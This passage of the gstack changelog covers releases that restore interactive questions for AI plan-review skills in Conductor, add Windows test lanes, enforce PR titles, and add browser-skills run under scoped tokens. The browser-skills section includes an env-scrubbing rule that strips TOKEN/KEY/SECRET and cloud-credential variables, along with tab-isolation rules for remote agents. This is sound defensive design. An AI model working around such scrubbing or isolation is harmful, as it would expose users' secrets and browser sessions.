- **Use plan-mode review skills in Conductor.** Open a Conductor workspace, run `/plan-ceo-review` against a plan, and the scope-mode question actually appears for you to answer. Same for `/plan-eng-review`, `/plan-design-review`, `/plan-devex-review`, `/autoplan`'s premise gate, and `/office-hours`.
- **Stay in control under `--disallowedTools` without writing template overrides.** The Tool resolution section sits at preamble position 1 in every tier-≥2 skill; new hosts that disable native AUQ via the same pattern get the fix transparently as long as they register an MCP variant.
- **Opt-in to AUTO_DECIDE without losing the regression guard.** `/plan-tune` users who set `never-ask` for specific questions keep auto-pick under Conductor flags; the periodic-tier `auto-decide-preserved` eval protects this path.

### The numbers that matter

Source: `ps -p <conductor-claude-pid> -o args=` for the regression mechanism (verified primary source). 6 new gate-tier regression cases + 1 periodic-tier AUTO_DECIDE eval; coverage in `test/skill-e2e-plan-{ceo,eng,design,devex}-plan-mode.test.ts` (parameterized inline) + `test/skill-e2e-{autoplan,office-hours}-auto-mode.test.ts` (standalone) + `test/skill-e2e-auto-decide-preserved.test.ts` (periodic).

| Surface | Shape |
|---|---|
| Skills that regain interactivity in Conductor | 6 (`/plan-ceo-review`, `/plan-eng-review`, `/plan-design-review`, `/plan-devex-review`, `/autoplan`, `/office-hours`) |
| New gate-tier regression test cases | 6 (one per skill; `--disallowedTools AskUserQuestion` parameterized) |
| New periodic-tier eval | 1 (`auto-decide-preserved`, protects `/plan-tune` opt-in path) |
| New `ClassifyResult` outcome | `auto_decided` — TTY shows "Auto-decided … (your preference)" |
| New `runPlanSkillObservation` parameter | `extraArgs?: string[]` — plumbs raw flags to spawned `claude` |
| Preamble resolvers touched | 2 (`generate-ask-user-format.ts`, `generate-completion-status.ts`) |
| SKILL.md files regenerated | 41 |
| `classifyVisible` branch order | `silent_write` → `auto_decided` → `plan_ready` → `asked` (each more specific than the next) |
| Whitespace-tolerant detectors | `isPlanReadyVisible`, `isAutoDecidedVisible` (defeats stripAnsi cursor-positioning collapse) |
| Verified by | `ps -p <conductor-claude-pid> -o args=` showing `--disallowedTools AskUserQuestion --permission-mode default` |

### What this means for builders

If you ran `/plan-ceo-review` or any plan-mode review skill in Conductor before this release, the skill silently produced a plan you didn't shape — the scope-mode question, expansion proposals, and per-section STOPs never reached you. After upgrading, the skill stops for every gate the template defines. The fix is in the preamble, so you don't update skill templates yourself — just upgrade gstack and the next plan review you run honors your input.

If you opted into auto-deciding specific questions via `/plan-tune`, the periodic eval guards that path. The fix is "prefer MCP variant when registered," not "force every question to surface" — your `never-ask` preferences still auto-pick, the AUTO_DECIDE annotation still renders, nothing changes for opt-in users.

The gstack-side regression test surface now mirrors what real users hit. Each plan-mode test file gained a second `test()` block that sets `extraArgs: ['--disallowedTools', 'AskUserQuestion']` and asserts the AskUserQuestion still surfaces. Builds on v1.21.1.0's `classifyVisible()` extraction — the new auto-decided branch slots in cleanly between silent_write and plan_ready.

### Itemized changes

#### Added — Tool resolution preamble

- `scripts/resolvers/preamble/generate-ask-user-format.ts` gets a new `### Tool resolution (read first)` section at the top of the AskUserQuestion Format block. Tells the model: AskUserQuestion can resolve to two tools at runtime (host MCP variant or native); prefer any `mcp__*__AskUserQuestion` variant in the tool list over native; hosts may disable native via `--disallowedTools AskUserQuestion` (Conductor does this by default); same questions/options shape and decision-brief format applies to the MCP variant. Includes a fallback path when neither variant is callable: write the decision into the plan file as `## Decisions to confirm` + ExitPlanMode.
- `scripts/resolvers/preamble/generate-completion-status.ts` (the plan-mode-info block at preamble position 1) updated to point at the Tool resolution section: AskUserQuestion satisfies plan mode's end-of-turn requirement for "any variant," with the plan-file fallback for the no-variant case.

#### Added — regression tests

- 4 inline `test()` blocks added to `test/skill-e2e-plan-{ceo,eng,design,devex}-plan-mode.test.ts`. Each spawns claude with `extraArgs: ['--disallowedTools', 'AskUserQuestion']` and asserts the skill still surfaces the question — pass envelope `['asked', 'plan_ready']` (the latter covers the plan-file fallback flow), failure signals are `'auto_decided'` (caught explicitly) plus the standard silent_write/exited/timeout.
- `test/skill-e2e-autoplan-auto-mode.test.ts` (new). Asserts autoplan's first non-auto-decided gate (Phase 1 premise confirmation) still surfaces. Autoplan auto-decides intermediate questions BY DESIGN, so the test scopes to gates the user MUST see.
- `test/skill-e2e-office-hours-auto-mode.test.ts` (new). Asserts office-hours' startup-vs-builder mode AskUserQuestion still surfaces.
- `test/skill-e2e-auto-decide-preserved.test.ts` (new, periodic-tier). Sets up an isolated `GSTACK_HOME` tmpdir, writes `question_tuning=true` + a `never-ask` preference for `plan-ceo-review-mode` (source `'plan-tune'`), runs `/plan-ceo-review` under `--disallowedTools AskUserQuestion`, asserts outcome is NOT `'asked'` (the model honored the opt-in).

#### Changed — PTY harness

- `test/helpers/claude-pty-runner.ts`: `runPlanSkillObservation` accepts new optional `extraArgs?: string[]` (plumbs straight through to `launchClaudePty`, which already supported the field). `ClassifyResult` gains `'auto_decided'` outcome plus `isAutoDecidedVisible(visible)` detector that matches the AUTO_DECIDE preamble template (`Auto-decided … (your preference)`). `classifyVisible` branch order extended to `silent_write → auto_decided → plan_ready → asked` so an upstream auto-decide isn't masked by a downstream plan-mode confirmation.
- Whitespace-tolerant detection: `isPlanReadyVisible` and `isAutoDecidedVisible` now test both spaced and whitespace-collapsed forms of their target phrases. `stripAnsi` removes cursor-positioning escapes (`\x1b[40C`) without replacing them with spaces, so "ready to execute" can come through as "readytoexecute" — the spaced regex would miss it.

#### Changed — touchfiles

- `test/helpers/touchfiles.ts`: existing `plan-X-review-plan-mode` entries gain `scripts/resolvers/question-tuning.ts` and `scripts/resolvers/preamble/generate-ask-user-format.ts` as touchfile dependencies, so AUTO_DECIDE-bearing resolver changes correctly invalidate the regression cases.
- New entries: `autoplan-auto-mode` (gate), `office-hours-auto-mode` (gate), `auto-decide-preserved` (periodic).
- `test/touchfiles.test.ts`: count of tests selected by `plan-ceo-review/SKILL.md` updates from 19 to 21 to cover the new entries that depend on `plan-ceo-review/**`.

#### For contributors

- The PTY harness's `auto_decided` outcome is a defense-in-depth signal: it fires on the AUTO_DECIDE preamble template wording, which is non-deterministic. Treat it as evidence of a regression, not a hard contract.
- The Tool resolution section is the surgical fix site for any future host that disables native AUQ similarly. The pattern: register a `mcp__<host>__AskUserQuestion` MCP tool; the gstack preamble already tells the model to prefer it. No skill-template changes needed per-host.
- `auto-decide-preserved` runs in an isolated `GSTACK_HOME` tmpdir to avoid mutating the developer's real `~/.gstack` state. When debugging, set `GSTACK_HOME` manually to a scratch dir and run the same setup the test does (`gstack-config set question_tuning true`, then `gstack-question-preference --write`).

## [1.24.0.0] - 2026-04-30

## **Cross-platform hardening. Mac + Linux full, curated Windows lane added.**

v1.24.0.0 ports the McGluut fork's portability work into upstream and adds a curated Windows test job that actually runs green. `bin/gstack-paths` consolidates state-root resolution behind one helper sourced via `eval "$(...)"` from skill bash blocks; eight skills (`careful`, `freeze`, `guard`, `unfreeze`, `investigate`, `context-save`, `context-restore`, `learn`, `office-hours`, `plan-tune`, `codex`) move off inline `${CLAUDE_PLUGIN_DATA:-...}` chains. `Bun.which()` replaces 75 lines of fork-side PATH-resolution code in a new `browse/src/claude-bin.ts` wrapper, wired through five hardcoded `claude` spawn sites. A new `windows-free-tests` GitHub Actions job runs a curated 103-test subset on `windows-latest` plus targeted resolver tests; `evals.yml` stays Linux-container as it should. `AGENTS.md` and `docs/skills.md` sync to the live skill inventory (40+ skills, was 21); `/debug` → `/investigate`, missing skills added, stale `<5s` `bun test` claim dropped. Hardening direction credited to the McGluut fork.

### The numbers that matter

Branch totals come from `git diff --shortstat origin/main..HEAD` after every lane lands. Curation numbers come from `bun run scripts/test-free-shards.ts --windows-only --list`.

| Metric | Δ |
|---|---|
| New shared resolvers | **2 modules** — `bin/gstack-paths` (61 LOC), `browse/src/claude-bin.ts` (73 LOC) |
| Inline state-root chains consolidated | **8 skills** (was 5 in initial scope; 3 more found during T1) |
| Hardcoded `claude` spawn sites rewired | **5 sites** — `security-classifier.ts:396`, `:496`, `preflight-agent-sdk.ts`, `helpers/providers/claude.ts`, `helpers/agent-sdk-runner.ts` |
| Fork's 95-LOC `claude-bin.ts` reimplementation | **−75 lines** — replaced by `Bun.which()` + 18 LOC of override+args wrapping |
| Windows-safe curated subset | **103 of 128 free tests** (80%) run on `windows-latest`; 25 excluded with reasons |
| New tests added | **+31 tests** — gstack-paths (8), claude-bin (9), test-free-shards (14) |
| New invariant tests | **+3** — private-path leak detector + 2 doc-inventory cross-checks in `test/skill-validation.test.ts` |
| Skill inventory documented | **40+ skills** in AGENTS.md + docs/skills.md (was 21 in AGENTS.md; `/debug` → `/investigate`) |
| Free test suite | **318 pass, 0 fail** (`bun test test/skill-validation.test.ts`) |

| Component | Coverage |
|---|---|
| `bin/gstack-paths` | 8 unit tests covering all three fallback chains |
| `browse/src/claude-bin.ts` | 9 unit tests including the override-PATH-resolution case the fork's version got wrong |
| `scripts/test-free-shards.ts` | 14 unit tests covering enumeration, sharding, and Windows-fragility detection |

### What this means for builders

**Plugin installs work.** If you install gstack as a Claude Code plugin, `CLAUDE_PLUGIN_DATA` and `CLAUDE_PLANS_DIR` now flow through every skill's bash blocks. Previously eight skills hardcoded `${GSTACK_HOME:-$HOME/.gstack}` inline; now they all source `bin/gstack-paths` and pick up the plugin-managed roots automatically. No more "plugin install can't find its own state" footgun.

**Windows is a real lane.** A `windows-free-tests` GitHub Actions job runs 103 curated tests on `windows-latest` plus targeted Claude resolver tests. The curation script (`scripts/test-free-shards.ts --windows-only`) excludes tests that hardcode `/bin/bash`, `sh -c`, or raw `/tmp/` paths — those exclusions are tracked as a follow-up TODO since they're the gap between "curated lane" and "full Windows parity." The setup script (`./setup`) still requires Git Bash or MSYS on Windows; native PowerShell support is a future expansion explicitly named in `AGENTS.md`. No "all green" overclaim — the headline says "curated Windows lane" because that's what this release delivers.

**Override the claude binary.** Set `GSTACK_CLAUDE_BIN=wsl` plus `GSTACK_CLAUDE_BIN_ARGS='["claude"]'` and every gstack call site routes Claude through WSL. Three shared resolution layers — `Bun.which()` for the platform handling, a thin wrapper for the override + arg-prefix logic, and five wired-through call sites — eliminate the "works on Mac, fails on Windows" failure mode for the security classifier, the preflight check, the LLM judge, and the agent SDK harness.

**The fork loop reads.** McGluut shipped three commits of real hardening work without filing a PR upstream. We read it, kept the engineering, dropped the framing, and credited where credit is due. Future forks: the contribution path is `git remote add` + open a PR; the take here is the proof that we read what's out there.

### Itemized changes

#### Added

- `bin/gstack-paths`: bash helper that resolves `GSTACK_STATE_ROOT`, `PLAN_ROOT`, `TMP_ROOT` with explicit fallback chains. Sourced via `eval "$(~/.claude/skills/gstack/bin/gstack-paths)"`. Honors `GSTACK_HOME` → `CLAUDE_PLUGIN_DATA` → `$HOME/.gstack` → `.gstack`; `GSTACK_PLAN_DIR` → `CLAUDE_PLANS_DIR` → `$HOME/.claude/plans` → `.claude/plans`; `TMPDIR` → `TMP` → `.gstack/tmp`. Best-effort `mkdir -p` on tmp root; never fails the eval. Pattern matches existing `bin/gstack-slug` and `bin/gstack-codex-probe`.
- `browse/src/claude-bin.ts`: thin (~70 LOC) wrapper around `Bun.which()` for cross-platform `claude` binary resolution. Honors `GSTACK_CLAUDE_BIN` / `CLAUDE_BIN` env override (absolute path or PATH-resolvable), and `GSTACK_CLAUDE_BIN_ARGS` / `CLAUDE_BIN_ARGS` arg-prefix (JSON array or scalar). Override values go through `Bun.which()` so `GSTACK_CLAUDE_BIN=wsl` resolves correctly — fixing the bug codex flagged in the fork's 95-LOC reimplementation.
- `scripts/test-free-shards.ts`: enumerates the free test suite, supports stable-hash sharding (FNV-1a), and provides a `--windows-only` filter that scans each test's content for POSIX-bound patterns (`/bin/sh`, `sh -c`, raw `/tmp/`, `chmod`, `xargs`, `which claude`). Adapted from McGluut's fork (190 LOC sharding logic) with the Windows curation filter added by upstream.
- `.github/workflows/windows-free-tests.yml`: separate non-container job that runs `bun run test:windows` on `windows-latest`, plus targeted `browse/test/claude-bin.test.ts` and `test/gstack-paths.test.ts` runs. NOT a matrix entry on the existing Linux-container `evals.yml` (correctly flagged by codex as not a drop-in).
- `test/gstack-paths.test.ts`: 8 unit tests covering all three fallback chains (HOME unset, CLAUDE_PLUGIN_DATA set, GSTACK_HOME wins, etc.).
- `browse/test/claude-bin.test.ts`: 9 unit tests including the override-PATH-resolution case the fork's version got wrong.
- `test/test-free-shards.test.ts`: 14 unit tests covering enumeration, paid-eval filtering, Windows-fragility detection, and stable sharding.
- `test/skill-validation.test.ts`: 3 new invariant tests — private-path leak detector (catches accidental references to maintainer-only files in any SKILL.md or SKILL.md.tmpl) and 2 doc-inventory cross-checks (every skill directory must appear in `AGENTS.md` and `docs/skills.md`).

#### Changed

- 11 SKILL.md.tmpl files migrated off inline `${CLAUDE_PLUGIN_DATA:-...}` or `${GSTACK_HOME:-$HOME/.gstack}` chains: `careful`, `freeze`, `guard`, `unfreeze`, `investigate`, `context-save`, `context-restore`, `learn`, `office-hours`, `plan-tune`, `codex`. Each now sources `bin/gstack-paths` and reads `$GSTACK_STATE_ROOT` (or `$PLAN_ROOT` / `$TMP_ROOT` for codex).
- `codex/SKILL.md.tmpl`: new Step 0.6 "Resolve portable roots" sources `gstack-paths`. Replaces hardcoded `~/.claude/plans/*.md` with `"$PLAN_ROOT"/*.md` (3 sites) and `mktemp /tmp/codex-*-XXXXXX.txt` with `mktemp "$TMP_ROOT/codex-*-XXXXXX.txt"` (3 sites). Skill now works in Claude Code plugin installs without modification.
- `browse/src/security-classifier.ts`: routes 2 hardcoded `spawn('claude', ...)` calls (version probe at :396, inference call at :496) through `resolveClaudeCommand()`. Honors `GSTACK_CLAUDE_BIN` override; degrades gracefully when claude unavailable.
- `scripts/preflight-agent-sdk.ts`: replaces `execSync('which claude')` with `resolveClaudeBinary()`. Cross-platform, no shell dependency.
- `test/helpers/providers/claude.ts`: `available()` and `run()` both go through `resolveClaudeCommand()`. The previous `spawnSync('sh', ['-c', 'command -v claude'])` was a Windows blocker on its own.
- `test/helpers/agent-sdk-runner.ts`: `resolveClaudeBinary()` now delegates to the shared resolver.
- `AGENTS.md`: rewrote the skill table from 21 entries to 40+, organized by category (plan reviews, implementation, release, operational, browser, safety). `/debug` → `/investigate`. Stale `<5s` `bun test` claim dropped — there's no realistic universal claim to make about test suite duration with periodic + gate + free tiers all in play.
- `docs/skills.md`: added 11 missing skills to the inventory table (`/plan-devex-review`, `/devex-review`, `/plan-tune`, `/context-save`, `/context-restore`, `/health`, `/landing-report`, `/benchmark-models`, `/pair-agent`, `/setup-gbrain`, `/make-pdf`).
- `package.json`: 2 new scripts. `test:free` runs the full free suite via the sharding script. `test:windows` runs the curated Windows-safe subset. Version bump `1.15.0.0` → `1.24.0.0`.
- `VERSION`: `1.15.0.0` → `1.24.0.0`. Workspace-aware queue at /ship time: v1.16.0.0 claimed by `garrytan/gbrowser-unleashed` (PR #1253), v1.17.0.0 by `garrytan/setup-gbrain-run` (PR #1234), v1.19.0.0 by `garrytan/browserharness` (PR #1233), v1.21.1.0 by `garrytan/pty-plan-mode-e2e` (PR #1255). This branch claims the next available MINOR slot.

#### Fixed

- `GSTACK_CLAUDE_BIN=wsl` (or any PATH-resolvable command) now actually resolves the binary. The McGluut fork's `claude-bin.ts` only handled absolute-path overrides; bare commands silently returned null. The Bun.which-based wrapper feeds the override through PATH lookup, fixing the documented use case.
- The `<5s` `bun test` claim in `AGENTS.md` is gone. With the slim-preamble harness from v1.15.0.0 plus the new tests added here, free-suite runtime varies; no realistic universal claim to make.

#### Follow-up TODOs (codex-flagged, deferred)

- **Merge-time version-slot freshness recheck.** Current `bin/gstack-next-version` + `scripts/compare-pr-version.ts` queue protection triggers on PR events touching version files. If another PR lands AFTER our gate fires, our claimed slot can go stale without an automatic recheck. P3 follow-up.
- **POSIX-bound test surfaces for full Windows parity.** 25 tests are excluded from the curated Windows lane via the `WINDOWS_FRAGILE_PATTERNS` scan in `scripts/test-free-shards.ts`. Concrete examples: `test/ship-version-sync.test.ts:72` hardcodes `/bin/bash`, `test/helpers/providers/claude.ts:22` (now fixed in this release), `package.json:12` build step shells out to `bash`/`chmod`. Porting these is the gap between "curated Windows lane" and "full Windows parity." P4 follow-up.
- **Native PowerShell setup support.** `setup` is bash + symlink heavy at `setup:404`. v1.24.0.0 documents Git Bash / MSYS as the supported Windows install path in `AGENTS.md`. A native PowerShell port closes the last off-the-shelf-for-Windows gap. P4 follow-up.

#### For contributors

- Hardening direction credited to the McGluut fork: <https://github.com/mcgluut/gstack>. The Bun.which-based resolver is upstream's adaptation of the cross-platform binary lookup the fork implemented in `claude-bin.ts`; the path-portability helper is upstream's factoring of the `${CLAUDE_PLUGIN_DATA:-...}` chain the fork inlined per-skill. The curated Windows test job is upstream's reading of what `test-free-shards.ts` was reaching toward, applied with explicit attention to which surfaces are actually Windows-safe today.

## [1.23.0.0] - 2026-04-30

## **Every PR title now starts with `vX.Y.Z.W`. `/ship`, `/document-release`, and the GitHub Action all enforce it.**

The format was already documented in `/ship` Step 19, but a "leave custom titles alone" loophole meant a PR opened without a version prefix would never get one — and `/document-release` never touched the title at all, so a doc-release VERSION bump silently left the PR pointing at the old version. This release closes both gaps. The rule lives in one place now (`bin/gstack-pr-title-rewrite.sh`), all three callers shell out to it, and a free `bun test` locks in the four branches.

### The numbers that matter

Numbers come from `git diff --shortstat origin/main..HEAD` and `bun test test/pr-title-rewrite.test.ts` on a clean tree.

| Metric | Δ |
|---|---|
| Net branch size vs main | +210 / −36 lines (5 files + 2 new) |
| New helper script | **bin/gstack-pr-title-rewrite.sh** (40 lines, single source of truth) |
| New unit tests added | **+9** (test/pr-title-rewrite.test.ts) |
| Unit suite runtime | **402ms** (free-tier, runs on every push) |
| Loopholes closed | **3** (ship Step 19, document-release Step 9, pr-title-sync.yml) |
| Reviewers run on this PR | plan-eng-review (CLEARED) + adversarial (Claude subagent) |

### What this means for builders

PR titles are now a deterministic function of the VERSION file, no matter how the PR got created. Open one via the web UI with `feat: my thing` and the next push of a VERSION bump turns it into `v1.23.0.0 feat: my thing`. Run `/ship` from a stale branch where Step 12's queue-drift detection rebumps to a higher version and the title moves with it. Run `/document-release`, bump VERSION at Step 8, and the PR title now follows along instead of staying at the previous version.

The helper itself rejects malformed VERSION values (anything outside `^[0-9]+(\.[0-9]+)*$`) with exit code 2, uses a literal `case` prefix match instead of bash's pattern-matching `#` operator (so a hypothetical VERSION containing glob metacharacters can't silently mismatch), and is idempotent — applying it twice yields the same result.

### Itemized changes

#### Added

- `bin/gstack-pr-title-rewrite.sh`: shared helper. Takes `<NEW_VERSION>` + `<CURRENT_TITLE>`, prints the corrected title on stdout. Three cases: already correct (no-op), different version prefix (replace), no prefix (prepend). Validates NEW_VERSION shape at entry. Used by `/ship`, `/document-release`, and the GitHub Action.
- `test/pr-title-rewrite.test.ts`: 9 deterministic tests covering already-correct, different-prefix, different-prefix-length, no-prefix, plain-words-not-stripped, single-segment-not-stripped, missing-args, malformed-VERSION rejection, and idempotence. Free-tier, runs on every `bun test`.

#### Changed

- `ship/SKILL.md.tmpl` Step 19: idempotency block now always rewrites titles to start with `v$NEW_VERSION` — no more "custom title kept intentionally" escape hatch. Shells out to `bin/gstack-pr-title-rewrite.sh` for the rule. Adds a post-edit self-check that re-fetches the title and retries once if the edit didn't stick.
- `ship/SKILL.md.tmpl` create-PR snippets (lines 867 and 876): inline comment makes the `v$NEW_VERSION` requirement unmissable when reading the step.
- `document-release/SKILL.md.tmpl` Step 9: new "PR/MR title sync" sub-step calls the same helper after the body update. Catches the case where Step 8 bumped VERSION after `/ship` had already created the PR — title follows VERSION instead of going stale.
- `.github/workflows/pr-title-sync.yml`: drops the "eligible only if already prefixed" gate. Sources the helper, rewrites unconditionally on every VERSION change. Defense-in-depth backstop for PRs opened outside the skills (manual `gh pr create`, web UI). Uses `env:` for `OLD_TITLE` so YAML expression injection can't reach `run:`.

#### For contributors

- The helper is a regular `bin/` script with `set -euo pipefail`, no external deps beyond bash + sed. Slots into the existing pattern alongside `bin/gstack-config`, `bin/gstack-slug`, `bin/gstack-next-version`.
- Test coverage gates this — any future change to the rule has to update the test fixtures or the suite goes red.

## [1.21.1.0] - 2026-04-28

## **plan-ceo-review smoke tightens. The "agent skips Step 0 and ships a plan" regression now fails the gate.**

The v1.15.0.0 real-PTY harness shipped with a smoke that accepted either `'asked'` or `'plan_ready'` as success. That OR was too lax for `/plan-ceo-review` specifically: the skill template mandates Step 0A premise challenge plus Step 0F mode selection BEFORE any plan write, so reaching `plan_ready` first IS the regression. This release tightens the assertion to `'asked'` only for that smoke, and refactors the runner so the contract is testable in <1s instead of $0.50 of stochastic PTY.

### The numbers that matter

Numbers come from `git diff --shortstat origin/main..HEAD` and `bun test test/helpers/claude-pty-runner.unit.test.ts` on a clean tree.

| Metric | Δ |
|---|---|
| Net branch size vs main | +162 / −65 lines (3 files) |
| New unit tests added | **+24** (claude-pty-runner.unit.test.ts) |
| Unit suite runtime | **14ms** (deterministic, free-tier) |
| Real-PTY gate runs verified | **4 clean PTY runs** (3 lock-in + 1 post-refactor) |
| Outcome assertions covered | **5/5** (was 3/5; `plan_ready` is now FAIL for plan-ceo) |
| Reviewers run on this PR | plan-eng-review (CLEARED) + codex consult + 2 specialists + adversarial |

### What this means for builders

Three new classes of harness regression are now caught deterministically in the free tier instead of waiting on a $0.50 stochastic PTY run. The classifier is extracted into a pure `classifyVisible()` function so reordering branches in the polling loop fails the unit tests instead of silently shipping. Permission dialogs (which render numbered lists) are filtered out of the `'asked'` classification so a permission prompt cannot pose as a Step 0 skill question. The bare phrase `Do you want to proceed?` no longer triggers permission detection on its own — it now requires a file-edit context co-trigger, so a skill question that contains the phrase isn't mis-classified.

For `/plan-ceo-review` specifically: any future preamble slim-down or template edit that lets the agent skip Step 0 and write a plan will fail the gate before the PR ships. Pull, run `bun test`, and the harness layer is provably tighter without you having to spend a token.

### Itemized changes

#### Added

- `test/helpers/claude-pty-runner.unit.test.ts`: 24 deterministic tests covering `isPermissionDialogVisible` (with the new co-trigger contract), `isNumberedOptionListVisible`, `parseNumberedOptions`, and the new `classifyVisible()` runtime path. Free-tier, runs on every `bun test`.
- `classifyVisible(visible)` in `claude-pty-runner.ts`: pure classifier extracted from the polling loop. Returns `{ outcome, summary } | null`. Branch order: silent_write → plan_ready → asked → null (with permission-dialog filter). Live-state branches (process exited, "Unknown command") stay in the runner.
- `TAIL_SCAN_BYTES = 1500` exported constant. Shared between `runPlanSkillObservation` and the routing test's nav loop so tuning stays in sync.
- `env?: Record<string, string>` option on `runPlanSkillObservation`, threaded to `launchClaudePty`. Plumbing for future env-driven test isolation (gstack-config does not yet honor env overrides; tracked as post-merge follow-up).

#### Changed

- `test/skill-e2e-plan-ceo-plan-mode.test.ts`: assertion narrowed from `['asked', 'plan_ready']` to `'asked'` only. Failure message now branches on `outcome` (plan_ready vs timeout vs silent_write) with a tailored diagnosis line, and references skill-template section names instead of line numbers (durable to template edits).
- `isPermissionDialogVisible`: bare `Do you want to proceed?` now requires a file-edit context co-trigger (`Edit to <path>` or `Write to <path>`). Other clauses (`requested permissions to`, `allow all edits`, `always allow access to`, `Bash command requires permission`) remain unconditional.
- `test/skill-e2e-plan-ceo-mode-routing.test.ts`: replaces the local `1500` magic number with the shared `TAIL_SCAN_BYTES` constant.

#### For contributors

- The runner change is additive and the existing sibling smokes (`plan-eng`, `plan-design`, `plan-devex`, `plan-mode-no-op`) keep their loose `['asked', 'plan_ready']` assertion. Their behavior is unchanged.
- Post-merge follow-ups captured in `TODOS.md`: per-finding AskUserQuestion count assertion (V2), env-driven gstack-config overrides (so `QUESTION_TUNING=false` actually isolates the test), path-confusion hardening on `SANCTIONED_WRITE_SUBSTRINGS`.

## [1.20.0.0] - 2026-04-28

## **Browser-skills land. `/scrape <intent>` first call drives the page; second call runs the codified script in 200ms.**

Browser-skills are deterministic Playwright scripts that run as standalone Bun processes via `$B skill run`. They live in three storage tiers (project > global > bundled), get a per-spawn scoped capability token, and ship with `_lib/browse-client.ts` so each skill is fully self-contained. The bundled reference is `hackernews-frontpage` — try `$B skill run hackernews-frontpage` and you get the HN front page as JSON in 200ms.

The agent authors them. `/scrape <intent>` is the single entry point for pulling page data — it matches existing skills via the `triggers:` array on first call, or drives `$B goto`/`$B html`/etc. on a brand-new intent and returns JSON. After a successful prototype, `/skillify` codifies the flow: it walks back through the conversation, extracts the final-attempt `$B` calls (no failed selectors, no chat fragments), synthesizes `script.ts` + `script.test.ts` + a captured fixture, stages everything to `~/.gstack/.tmp/skillify-<spawnId>/`, runs the test there, and asks before renaming into the final tier path. Test failure or rejection: `rm -rf` the temp dir, no half-written skill ever appears in `$B skill list`. Next `/scrape` with a matching intent routes via `$B skill list` + `$B skill run <name>`. ~30s prototype becomes ~200ms forever after.

Mutating-flow sibling `/automate` is tracked as P0 in `TODOS.md` for the next release. Scraping is the safer wedge to validate the skillify pattern (failure mode: wrong data); mutating actions need the per-step confirmation gate that `/automate` adds on top.

The architecture sidesteps the in-daemon isolation problem by running skill scripts *outside* the daemon as standalone Bun processes. Each script gets a per-spawn scoped capability token bound to the read+write command surface; the daemon root token never leaves the harness. Two token policies share the same registry but enforce independently: `tabPolicy: 'shared'` (default for skill spawns) is permissive on tab access — a skill can drive any tab, gated only by scope checks and rate limits. `tabPolicy: 'own-only'` (pair-agent over the ngrok tunnel) is strict — the token can only access tabs it owns, must `newtab` first to get a tab to drive, can't reach the user's natural tabs. Trust boundaries are at the daemon, not in process-side env scrubbing.

### What you can now do

- **Run a bundled skill:** `$B skill run hackernews-frontpage` returns JSON.
- **Scrape with one verb:** `/scrape latest hacker news stories`. First call matches the bundled skill via the `triggers:` array and runs in 200ms. New intent? It prototypes via `$B`, returns JSON, and suggests `/skillify`.
- **Codify a prototype:** `/skillify` walks back through the conversation, finds the last `/scrape` result, synthesizes the script + test + fixture, stages to a temp dir, runs the test, and asks before committing to `~/.gstack/browser-skills/<name>/`.
- **List what's available:** `$B skill list` walks three tiers (project > global > bundled) and prints the resolved tier inline.
- **Test a skill against a fixture:** `$B skill test hackernews-frontpage` runs the bundled `script.test.ts` against a captured HTML snapshot, no live network.
- **Read a skill's contract:** `$B skill show hackernews-frontpage` prints SKILL.md.
- **Tombstone a user-tier skill:** `$B skill rm <name> [--global]` moves it to `.tombstones/<name>-<ts>/`. Bundled skills are read-only.

### The numbers that matter

Source: 155 unit assertions across `browse/test/{skill-token,browse-client,browser-skills-storage,browser-skill-commands,browser-skill-write,tab-isolation,server-auth}.test.ts`, `browser-skills/hackernews-frontpage/script.test.ts`, and `test/skill-validation.test.ts`. Plus 5 gate-tier E2E scenarios in `test/skill-e2e-skillify.test.ts`. All free-tier tests pass in under two seconds; the gate-tier E2E adds ~$5 to a CI run.

| Surface | Shape |
|---|---|
| Latency on a codified intent | ~200ms (vs ~30s prototype on first call) |
| New `$B` command | `skill` (5 subcommands: list, show, run, test, rm) |
| New gstack skills | 2 (`/scrape`, `/skillify`); `/automate` tracked as P0 in TODOS |
| New modules | 5 (`browse-client.ts`, `browser-skills.ts`, `browser-skill-commands.ts`, `skill-token.ts`, `browser-skill-write.ts`) |
| Bundled reference skills | 1 (`hackernews-frontpage`) |
| Storage tiers | 3 (project > global > bundled, first-wins) |
| SDK distribution model | sibling-file: each skill ships `_lib/browse-client.ts` (~3KB, byte-identical to canonical) |
| Daemon-side capability default | scoped session token, `read+write` only (no `eval`/`js`/`cookies`/`storage`) |
| Process-side env default | scrubbed: drops $HOME, $PATH user-paths, anything matching TOKEN/KEY/SECRET, AWS_*, OPENAI_*, GITHUB_*, etc. |
| Tab access policy | `'shared'` (skill spawns) = permissive, gated by scope only. `'own-only'` (pair-agent tunnel) = strict ownership for every read + write. |
| Atomic-write contract | temp-dir-then-rename via `browse/src/browser-skill-write.ts`. Test fail OR approval reject = `rm -rf` the temp dir. Never a half-written skill on disk. |

### What this means for builders

The compounding loop is closed. The first time you ask the agent to scrape a page, it pays the prototype cost. The second time on the same intent (rephrased or not), it runs the codified script in 200ms. Multiply across every recurring data-pull task you have, release-notes scraping, leaderboard checks, dashboard captures, and the time savings compound across sessions.

The agent-authoring contract is tight: `/skillify` extracts only the final-attempt `$B` calls from the conversation (no failed selectors, no chat fragments leak into the on-disk artifact), writes to a temp dir, runs the auto-generated `script.test.ts` there, and only commits on test pass + your approval. If anything fails, the temp dir vanishes, no broken skill ever appears in `$B skill list`.

Mutating flows (form fills, click sequences, multi-step automations) ship next as `/automate` (P0 in `TODOS.md`). Same skillify machinery, different trust profile: per-mutating-step confirmation gate when running non-codified, unattended once committed. Scraping's failure mode is benign (wrong data) and mutation's isn't (unintended writes); the staged rollout validates the skillify pattern with the safer half first.

Pair-agent operators get the same isolation guarantees they had before. The dual-listener tunnel architecture is intact: a remote agent over ngrok can't read or write tabs the local user is using. Tunnel tokens get `tabPolicy: 'own-only'`, must `newtab` first to drive a tab, and only the 26-command tunnel allowlist is reachable.

### Itemized changes

#### Added — `$B skill` runtime

- `$B skill list|show|run|test|rm <name?>`. Five subcommands. List walks 3 tiers (project > global > bundled) and prints the resolved tier inline so "why did it run that one?" is never a debugging mystery. Run mints a per-spawn scoped capability token, spawns `bun run script.ts -- <args>` with cwd locked to the skill dir, captures stdout (1MB cap) and stderr, and revokes the token on exit.
- `browse/src/browse-client.ts`. Canonical SDK (~250 LOC). Reads `GSTACK_PORT` + `GSTACK_SKILL_TOKEN` from env first (set by `$B skill run`), falls back to `<project>/.gstack/browse.json` for standalone debug runs. Convenience methods cover the read+write surface: goto, click, fill, text, html, snapshot, links, forms, accessibility, attrs, media, data, scroll, press, type, select, wait, hover, screenshot. Low-level `command(cmd, args)` escape hatch for anything else.
